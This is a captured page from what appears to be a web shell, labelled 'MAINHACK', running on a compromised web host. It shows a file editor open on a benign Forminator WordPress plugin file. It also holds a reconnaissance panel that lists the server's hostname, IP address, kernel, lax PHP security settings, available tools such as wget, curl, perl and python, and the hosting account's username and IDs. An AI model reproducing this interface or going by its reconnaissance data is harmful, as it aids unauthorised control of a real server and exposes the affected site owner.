[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: class-modules.php
<?php /** * Forminator Modules * * @package Forminator */ if ( ! defined( 'ABSPATH' ) ) { die(); } /** * Class Forminator_Core */ class Forminator_Modules { /** * Store modules objects * * @var array */ public $modules = array(); /** * Forminator_Modules constructor. * * @since 1.0 */ public function __construct() { $this->includes(); $this->load_modules(); } /** * Includes * * @since 1.0 */ private function includes() { /* @noinspection PhpIncludeInspection */ include_once forminator_plugin_dir() . 'library/abstracts/abstract-class-module.php'; } /** * Load modules * * @since 1.0 */ private function load_modules() { /** * Filters modules list */ $modules = apply_filters( 'forminator_modules', array( 'custom_forms' => array( 'class' => 'Custom_Forms', 'slug' => 'custom-forms', 'label' => esc_html__( 'Custom Forms', 'forminator' ), ), 'polls' => array( 'class' => 'Polls', 'slug' => 'polls', 'label' => esc_html__( 'Polls', 'forminator' ), ), 'quizzes' => array( 'class' => 'Quizzes', 'slug' => 'quizzes', 'label' => esc_html__( 'Quizzes', 'forminator' ), ), ) ); array_walk( $modules, array( $this, 'load_module' ) ); } /** * Load module * * @since 1.0 * @param array $data Data. * @param int $id Id. */ public function load_module( $data, $id ) { $module_class = 'Forminator_' . $data['class']; $module_slug = $data['slug']; $module_label = $data['label']; // Include module. $path = forminator_plugin_dir() . 'library/modules/' . $module_slug . '/loader.php'; if ( file_exists( $path ) ) { include_once $path; } if ( class_exists( $module_class ) ) { $module_object = new $module_class( $id, $module_label ); $this->modules[ $id ] = $module_object; } } /** * Retrieve modules objects * * @since 1.0 * @return array */ public function get_modules() { return $this->modules; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154